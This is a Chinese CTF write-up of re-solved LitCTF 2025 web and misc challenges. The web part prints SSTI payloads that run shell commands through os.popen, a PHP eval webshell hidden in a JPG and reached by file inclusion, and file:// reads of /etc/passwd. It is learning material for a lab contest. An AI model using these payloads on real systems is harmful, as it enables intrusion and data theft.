LitCTF2025复现
WEB
星愿信箱
打开环境
之前做了,知道是ssti
直接先传payload
这里目前阻止我的只有两个过滤
{{}}和cat
变形一下payload
{%print(lipsum.__globals__.os.popen('ls').read())%}
{%print(lipsum.__globals__.os.popen('ls /').read())%}
直接tac
{%print(lipsum.__globals__.os.popen('tac /flag').read())%}
nest_js
打开环境
之前做了,直接弱口令爆破就行
先抓包
直接爆破
password就是密码登录
easy_file
打开环境
看下网页的源代码
其他没啥但是看见有一个file查看头像
直接先来一手弱口令爆破
这里可以观察到我们输入的东西是被进行了base64编码的
所以我们在进行爆破的时候需要对payload进行处理
然后再进行爆破
这里发现了302重定向,这里应该是登录之后重定向到另外的界面了
所以我们直接拿去解码一波
登录进去看看
进来之后是一个文件上传,我们直接先上传一个php看看
有一个后缀检测,看看是不是前端验证
看来不是,看下.htaccess能不能上传
上传一张图片看看
一番测试下来,好像只能上传jpg文件,png都不行
没有MIME头检测,这里只能使用jpg格式上传,其他方法好像都不太行
那思路应该就是文件包含漏洞逻辑
这里也提到前面有一个file查看头像,应该就是文件包含
上传jpg图片马
应该是对php标签进行了过滤,要么使用短标签绕过,或者用html标签绕过
这里采用短标签
<?= @eval($_POST['1']);?>
直接使用file来访问
传参
直接cat
easy_signin
打开环境
这有点阴间了。。。。。
这里就是题目打开的环境
我还以为nss的环境出问题了
也是差点直接亏损30大洋
既然啥都没有
先直接扫盘看一下
有备份文件
这里是看见登录的页面了访问一下看看.php的
这个是json格式,400表示请求错误,后面解码是参数不完整
再看看.html的
这里看着也是想直接爆破一手
先看看
这里用户名是直接给出来了,先用这个看看
这里抓包之后是发现这里的用户名密码都进行了md5加密
但是发现bp好像不能直接进行md5加密
那去看看那个备份文件
这里500的状态码,服务器那边可能有问题,不让访问
看下login.html的源代码
这里有一大串代码
但是这一大串代码好像就是再阐述我们的登录
再看看
前面发现了一个api.js就是我们之前扫到的api不知道有没有关系,应该就是那个页面的源代码
进去看看
直接访问一手
啥都没有
但是之前给我们的那个url我们应该想到伪协议或者rce
这里没有什么rce的提示或疑似的东西,应该是直接伪协议
之前也扫到一个dashboard.php
使用php伪协议看下
这里不能用php伪协议,那就用file协议读取文件
file://dashboard.php
emmmmm
啧,本来就不应该来访问我连路径都不知道
file协议用来访问本地的,这里就是来访问这个环境的
看下密码存放的地方
/etc/passwd
file:///etc/passwd
大概看一下,网页存放的目录是在var下
按照一般结构来说/var/www/html
然后就是那一串,访问看看
file:///var/www/html/api/sys/urlcode.php
那里有一个看着就是flag的php文件,访问一下看看
这里目前我只知道要这样访问,因为也被过滤了,不能直接file读取
MISC
灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄
打开环境
点一下看看
这一看就是编码
下载下来直接解
Cropping
下载附件
不知道是不是伪加密,直接丢给随波逐流看一手
看来是伪加密,修复之后直接解压
这一看就是二维码
这里可以大胆猜测一波,后面的数字就是列和行
直接用工具拼接
扫描一下看看
像素中的航班
下载附件之后
打开是一张飞机场的图片
搜一下litctf是谁承办
在郑州
看下长城杯在哪
看下图片里面
我们知道是中国南方航空直接搜一下